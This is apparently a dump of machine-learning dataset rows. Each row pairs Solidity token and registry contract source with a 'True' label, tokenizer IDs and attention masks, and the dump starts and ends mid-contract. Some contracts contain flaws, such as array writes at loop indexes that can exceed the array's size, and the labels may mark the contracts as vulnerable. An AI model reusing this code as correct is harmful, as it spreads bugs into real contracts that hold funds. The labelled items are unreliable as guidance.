balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
require(isContract(_spender));
TokenRecipient spender = TokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function allowance(address _holder, address _spender) public view returns (uint256) {
return allowed[_holder][_spender];
}
function lock(address _holder, uint256 _amount, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) internal onlyOwner returns (bool) {
require(locks[_holder] == false);
require(_releaseStart > now);
require(_termOfRound > 0);
require(_amount.mul(_releaseRate).div(100) > 0);
require(balances[_holder] >= _amount);
balances[_holder] = balances[_holder].sub(_amount);
lockupInfo[_holder] = LockupInfo(_releaseStart, _termOfRound, _amount.mul(_releaseRate).div(100), _amount);
locks[_holder] = true;
emit Lock(_holder, _amount);
return true;
}
function unlock(address _holder) public onlyOwner returns (bool) {
require(locks[_holder] == true);
uint256 releaseAmount = lockupInfo[_holder].lockupBalance;
delete lockupInfo[_holder];
locks[_holder] = false;
emit Unlock(_holder, releaseAmount);
balances[_holder] = balances[_holder].add(releaseAmount);
return true;
}
function freezeAccount(address _holder) public onlyOwner returns (bool) {
require(!frozen[_holder]);
frozen[_holder] = true;
emit Freeze(_holder);
return true;
}
function unfreezeAccount(address _holder) public onlyOwner returns (bool) {
require(frozen[_holder]);
frozen[_holder] = false;
emit Unfreeze(_holder);
return true;
}
function getNowTime() public view returns(uint256) {
return now;
}
function showLockState(address _holder) public view returns (bool, uint256, uint256, uint256, uint256) {
return (locks[_holder], lockupInfo[_holder].lockupBalance, lockupInfo[_holder].releaseTime, lockupInfo[_holder].termOfRound, lockupInfo[_holder].unlockAmountPerRound);
}
function distribute(address _to, uint256 _value) public onlyOwner returns (bool) {
require(_to != address(0));
require(_value <= balances[owner]);
balances[owner] = balances[owner].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(owner, _to, _value);
return true;
}
function distributeWithLockup(address _to, uint256 _value, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) {
distribute(_to, _value);
lock(_to, _value, _releaseStart, _termOfRound, _releaseRate);
return true;
}
function claimToken(ERC20 token, address _to, uint256 _value) public onlyOwner returns (bool) {
token.transfer(_to, _value);
return true;
}
function burn(uint256 _value) public onlyOwner returns (bool success) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
return true;
}
function mint( uint256 _amount) onlyOwner public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[owner] = balances[owner].add(_amount);
emit Transfer(address(0), owner, _amount);
return true;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly{size := extcodesize(addr)}
return size > 0;
}
function autoUnlock(address _holder) internal returns (bool) {
if (lockupInfo[_holder].releaseTime <= now) {
return releaseTimeLock(_holder);
}
return false;
}
function releaseTimeLock(address _holder) internal returns(bool) {
require(locks[_holder]);
uint256 releaseAmount = 0;
// If lock status of holder is finished, delete lockup info.
for( ; lockupInfo[_holder].releaseTime <= now ; )
{
if (lockupInfo[_holder].lockupBalance <= lockupInfo[_holder].unlockAmountPerRound) {
releaseAmount = releaseAmount.add(lockupInfo[_holder].lockupBalance);
delete lockupInfo[_holder];
locks[_holder] = false;
break;
} else {
releaseAmount = releaseAmount.add(lockupInfo[_holder].unlockAmountPerRound);
lockupInfo[_holder].lockupBalance = lockupInfo[_holder].lockupBalance.sub(lockupInfo[_holder].unlockAmountPerRound);
lockupInfo[_holder].releaseTime = lockupInfo[_holder].releaseTime.add(lockupInfo[_holder].termOfRound);
}
}
emit Unlock(_holder, releaseAmount);
balances[_holder] = balances[_holder].add(releaseAmount);
return true;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5511,
1011,
2321,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2423,
1025,
3075,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
1013,
1013,
20865,
1006,
1038,
1028,
1014,
1007,
1025,
1013,
1013,
5024,
3012,
8073,
11618,
2043,
16023,
2011,
1014,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1013,
1038,
1025,
1013,
1013,
20865,
1006,
1037,
1027,
1027,
1038,
1008,
1039,
1009,
1037,
1003,
1038,
1007,
1025,
1013,
1013,
2045,
2003,
2053,
2553,
1999,
2029,
2023,
2987,
1005,
1056,
2907,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
20865,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
2709,
1037,
1011,
1038,
1025,
1065,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
20865,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
2709,
1039,
1025,
1065,
1065,
3206,
2219,
3085,
1063,
4769,
2270,
3954,
1025,
4769,
2270,
2047,
12384,
2121,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
9570,
2953,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
2047,
12384,
2121,
1027,
4769,
1006,
1014,
1007,
1025,
1065,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
16913,
18095,
2069,
2638,
12155,
7962,
2121,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
999,
1027,
4769,
1006,
1014,
1007,
1007,
1025,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
2047,
12384,
2121,
1007,
1025,
1035,
1025,
1065,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
1035,
2047,
12384,
2121,
1007,
2270,
2069,
12384,
2121,
1063,
5478,
1006,
1035,
2047,
12384,
2121,
999,
1027,
4769,
1006,
1014,
1007,
1007,
1025,
2047,
12384,
2121,
1027,
1035,
2047,
12384,
2121,
1025,
1065,
3853,
5138,
12384,
2545,
5605,
1006,
1007,
2270,
2069,
2638,
12155,
7962,
2121,
5651,
1006,
22017,
2140,
1007,
1063,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
3954,
1010,
2047,
12384,
2121,
1007,
1025,
3954,
1027,
2047,
12384,
2121,
1025,
1065,
1065,
3206,
29025,
19150,
2003,
2219,
3085,
1063,
2724,
8724,
1006,
1007,
1025,
2724,
4895,
4502,
8557,
1006,
1007,
1025,
22017,
2140,
2270,
5864,
1027,
6270,
1025,
16913,
18095,
2043,
17048,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity >=0.7.0;
pragma experimental ABIEncoderV2;
/**
* @title MarketsRegistry
* @dev Implements market proposal and approval/denial
*/
contract MarketsRegistry {
/// @notice Admins
mapping(address=>uint) public admins;
modifier onlyAdmin() {
require(admins[msg.sender] == 1, "Not admin");
_;
}
function addAdmin(address newAdmin) onlyAdmin public {
admins[newAdmin] = 1;
emit AddNewAdministrator(msg.sender, newAdmin);
}
function removeAdmin(address admin) onlyAdmin public {
admins[admin] = 0;
emit RemoveAdminstrator(msg.sender, admin);
}
function isAdmin(address account) view external returns (bool) {
return admins[account] == 1;
}
struct MarketProposal {
uint marketProposalId;
string title;
string description;
uint resolutionTimestampUnix;
bool approved;
}
/// @notice Total number of proposals ever
uint public marketProposalCount;
/// @notice
uint public totalPendingProposals;
/// @notice
uint public totalApprovedProposals;
/// @notice all available market proposals
mapping(uint => MarketProposal) public proposals;
// Events
/// @notice An event emitted when a new admin is added
event AddNewAdministrator(address admin, address newAdmin);
/// @notice An event emitted when an admin is removed
event RemoveAdminstrator(address admin, address removedAdmin);
/// @notice An event emitted when a Proposal is submitted
event ProposalSubmitted(address proposer, uint marketProposalId, string title, string description, uint resolutionTimestamp);
/// @notice An event emitted when a Proposal is approved
event ProposalApproved(address admin, uint marketProposalId);
/// @notice An event emitted when a Proposal is denied
event ProposalDenied(address admin, uint marketProposalId);
constructor(){
admins[msg.sender] = 1;
}
/// @notice Get approved market proposals
function getAllApprovedMarketProposals() external view returns (MarketProposal[] memory){
MarketProposal[] memory marketProposals = new MarketProposal[](totalApprovedProposals);
for(uint i = 0; i < marketProposalCount; i++){
MarketProposal storage marketProposal = proposals[i];
//check that the MarketProposal struct has been initialized and approved
if(bytes(marketProposal.title).length > 0 && marketProposal.approved == true){
marketProposals[i] = marketProposal;
}
}
return marketProposals;
}
/// @notice Get pending market proposals
function getPendingMarketProposals() external view returns (MarketProposal[] memory){
MarketProposal[] memory marketProposals = new MarketProposal[](totalPendingProposals);
for(uint i = 0; i < marketProposalCount; i++){
MarketProposal storage marketProposal = proposals[i];
if(bytes(marketProposal.title).length > 0 && marketProposal.approved == false){
marketProposals[i] = marketProposal;
}
}
return marketProposals;
}
/// @notice submits a new market proposal to the registry
function submitNewMarketProposal(string calldata title, string calldata description, uint resolutionTimestamp) external returns (uint) {
uint proposalId = marketProposalCount;
proposals[proposalId] = MarketProposal({
marketProposalId: proposalId,
title: title,
description: description,
resolutionTimestampUnix: resolutionTimestamp,
approved: false
});
marketProposalCount++;
totalPendingProposals++;
emit ProposalSubmitted(msg.sender, proposalId, title, description, resolutionTimestamp);
return proposalId;
}
function approveMarketProposal(uint marketProposalId) onlyAdmin external {
MarketProposal storage marketProposal = proposals[marketProposalId];
//require that the marketProposal struct was initialized
require(isMarketProposalInitialized(marketProposal), "MarketProposal doesn't exist");
//necessary so we dont approve a proposal twice
require(!marketProposal.approved, "MarketProposal already approved");
marketProposal.approved = true;
totalApprovedProposals++;
totalPendingProposals--;
emit ProposalApproved(msg.sender, marketProposalId);
}
function denyMarketProposal(uint marketProposalId) onlyAdmin external {
MarketProposal storage marketProposal = proposals[marketProposalId];
//require that the marketProposal struct was initialized
require(isMarketProposalInitialized(marketProposal), "MarketProposal doesn't exist");
if(marketProposal.approved == true){
//If the market proposal has already been approved, decrement totalApprovedProposals
totalApprovedProposals--;
}
if(marketProposal.approved == false){
//If the market proposal is pending, decrement totalPendingProposals
totalPendingProposals--;
}
delete proposals[marketProposalId];
emit ProposalDenied(msg.sender, marketProposalId);
}
function isMarketProposalInitialized(MarketProposal memory marketProposal) internal pure returns (bool) {
return bytes(marketProposal.title).length > 0;
}
}
| True | [
101,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1021,
1012,
1014,
1025,
10975,
8490,
2863,
6388,
11113,
9013,
16044,
2099,
2615,
2475,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
6089,
2890,
24063,
2854,
1008,
1030,
16475,
22164,
3006,
6378,
1998,
6226,
1013,
14920,
1008,
1013,
3206,
6089,
2890,
24063,
2854,
1063,
1013,
1013,
1013,
1030,
5060,
4748,
21266,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
1007,
2270,
4748,
21266,
1025,
16913,
18095,
2069,
4215,
10020,
1006,
1007,
1063,
5478,
1006,
4748,
21266,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1027,
1027,
1015,
1010,
1000,
2025,
4748,
10020,
1000,
1007,
1025,
1035,
1025,
1065,
3853,
5587,
4215,
10020,
1006,
4769,
2047,
4215,
10020,
1007,
2069,
4215,
10020,
2270,
1063,
4748,
21266,
1031,
2047,
4215,
10020,
1033,
1027,
1015,
1025,
12495,
2102,
5587,
2638,
26016,
25300,
20528,
4263,
1006,
5796,
2290,
1012,
4604,
2121,
1010,
2047,
4215,
10020,
1007,
1025,
1065,
3853,
6366,
4215,
10020,
1006,
4769,
4748,
10020,
1007,
2069,
4215,
10020,
2270,
1063,
4748,
21266,
1031,
4748,
10020,
1033,
1027,
1014,
1025,
12495,
2102,
6366,
4215,
21266,
6494,
4263,
1006,
5796,
2290,
1012,
4604,
2121,
1010,
4748,
10020,
1007,
1025,
1065,
3853,
18061,
22117,
2378,
1006,
4769,
4070,
1007,
3193,
6327,
5651,
1006,
22017,
2140,
1007,
1063,
2709,
4748,
21266,
1031,
4070,
1033,
1027,
1027,
1015,
1025,
1065,
2358,
6820,
6593,
3006,
21572,
6873,
12002,
1063,
21318,
3372,
3006,
21572,
6873,
12002,
3593,
1025,
5164,
2516,
1025,
5164,
6412,
1025,
21318,
3372,
5813,
7292,
9153,
8737,
19496,
2595,
1025,
22017,
2140,
4844,
1025,
1065,
1013,
1013,
1013,
1030,
5060,
2561,
2193,
1997,
10340,
2412,
21318,
3372,
2270,
3006,
21572,
6873,
12002,
3597,
16671,
1025,
1013,
1013,
1013,
1030,
5060,
21318,
3372,
2270,
2561,
11837,
4667,
21572,
6873,
12002,
2015,
1025,
1013,
1013,
1013,
1030,
5060,
21318,
3372,
2270,
2561,
29098,
26251,
21572,
6873,
12002,
2015,
1025,
1013,
1013,
1013,
1030,
5060,
2035,
2800,
3006,
10340,
12375,
1006,
21318,
3372,
1027,
1028,
3006,
21572,
6873,
12002,
1007,
2270,
10340,
1025,
1013,
1013,
2824,
1013,
1013,
1013,
1030,
5060,
2019,
2724,
22627,
2043,
1037,
2047,
4748,
10020,
2003,
2794,
2724,
5587,
2638,
26016,
25300,
20528,
4263,
1006,
4769,
4748,
10020,
1010,
4769,
2047,
4215,
10020,
1007,
1025,
1013,
1013,
1013,
1030,
5060,
2019,
2724,
22627,
2043,
2019,
4748,
10020,
2003,
3718,
2724,
6366,
4215,
21266,
6494,
4263,
1006,
4769,
4748,
10020,
1010,
4769,
3718,
4215,
10020,
1007,
1025,
1013,
1013,
1013,
1030,
5060,
2019,
2724,
22627,
2043,
1037,
6378,
2003,
7864,
2724,
10340,
12083,
22930,
3064,
1006,
4769,
16599,
2099,
1010,
21318,
3372,
3006,
21572,
6873,
12002,
3593,
1010,
5164,
2516,
1010,
5164,
6412,
1010,
21318,
3372,
5813,
7292,
9153,
8737,
1007,
1025,
1013,
1013,
1013,
1030,
5060,
2019,
2724,
22627,
2043,
1037,
6378,
2003,
4844,
2724,
6378,
29098,
26251,
1006,
4769,
4748,
10020,
1010,
21318,
3372,
3006,
21572,
6873,
12002,
3593,
1007,
1025,
1013,
1013,
1013,
1030,
5060,
2019,
2724,
22627,
2043,
1037,
6378,
2003,
6380,
2724,
6378,
4181,
6340,
1006,
4769,
4748,
10020,
1010,
21318,
3372,
3006,
21572,
6873,
12002,
3593,
1007,
1025,
9570,
2953,
1006,
1007,
1063,
4748,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-11-08
*/
// SPDX-License-Identifier: MTRM
pragma solidity ^0.8.9;
contract Token {
string public name;
string public symbol;
uint256 public decimals;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(string memory _name, string memory _symbol, uint _decimals, uint _totalSupply) {
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _totalSupply;
balanceOf[msg.sender] = totalSupply;
}
function transfer(address _to, uint256 _value) external returns (bool success) {
require(balanceOf[msg.sender] >= _value);
_transfer(msg.sender, _to, _value);
return true;
}
function _transfer(address _from, address _to, uint256 _value) internal {
// Ensure sending is to valid address! 0x0 address cane be used to burn()
require(_to != address(0));
balanceOf[_from] = balanceOf[_from] - (_value);
balanceOf[_to] = balanceOf[_to] + (_value);
emit Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) external returns (bool) {
require(_spender != address(0));
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) external returns (bool) {
require(_value <= balanceOf[_from]);
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = allowance[_from][msg.sender] - (_value);
_transfer(_from, _to, _value);
return true;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2340,
1011,
5511,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
11047,
10867,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1023,
1025,
3206,
19204,
1063,
5164,
2270,
2171,
1025,
5164,
2270,
6454,
1025,
21318,
3372,
17788,
2575,
2270,
26066,
2015,
1025,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2270,
5703,
11253,
1025,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
1007,
2270,
21447,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
9570,
2953,
1006,
5164,
3638,
1035,
2171,
1010,
5164,
3638,
1035,
6454,
1010,
21318,
3372,
1035,
26066,
2015,
1010,
21318,
3372,
1035,
21948,
6279,
22086,
1007,
1063,
2171,
1027,
1035,
2171,
1025,
6454,
1027,
1035,
6454,
1025,
26066,
2015,
1027,
1035,
26066,
2015,
1025,
21948,
6279,
22086,
1027,
1035,
21948,
6279,
22086,
1025,
5703,
11253,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1027,
21948,
6279,
22086,
1025,
1065,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
3112,
1007,
1063,
5478,
1006,
5703,
11253,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1028,
1027,
1035,
3643,
1007,
1025,
1035,
4651,
1006,
5796,
2290,
1012,
4604,
2121,
1010,
1035,
2000,
1010,
1035,
3643,
1007,
1025,
2709,
2995,
1025,
1065,
3853,
1035,
4651,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
4722,
1063,
1013,
1013,
5676,
6016,
2003,
2000,
9398,
4769,
999,
1014,
2595,
2692,
4769,
11942,
2022,
2109,
2000,
6402,
1006,
1007,
5478,
1006,
1035,
2000,
999,
1027,
4769,
1006,
1014,
1007,
1007,
1025,
5703,
11253,
1031,
1035,
2013,
1033,
1027,
5703,
11253,
1031,
1035,
2013,
1033,
1011,
1006,
1035,
3643,
1007,
1025,
5703,
11253,
1031,
1035,
2000,
1033,
1027,
5703,
11253,
1031,
1035,
2000,
1033,
1009,
1006,
1035,
3643,
1007,
1025,
12495,
2102,
4651,
1006,
1035,
2013,
1010,
1035,
2000,
1010,
1035,
3643,
1007,
1025,
1065,
3853,
14300,
1006,
4769,
1035,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1063,
5478,
1006,
1035,
5247,
2121,
999,
1027,
4769,
1006,
1014,
1007,
1007,
1025,
21447,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1031,
1035,
5247,
2121,
1033,
1027,
1035,
3643,
1025,
12495,
2102,
6226,
1006,
5796,
2290,
1012,
4604,
2121,
1010,
1035,
5247,
2121,
1010,
1035,
3643,
1007,
1025,
2709,
2995,
1025,
1065,
3853,
4651,
19699,
5358,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1063,
5478,
1006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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.23;
/*
* Creator:GPH (Grapheneum)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* Grapheneum smart contract.
*/
contract GPHToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 500000000 * (10**18);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function GPHToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "Grapheneum";
string constant public symbol = "GPH";
uint8 constant public decimals = 18;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
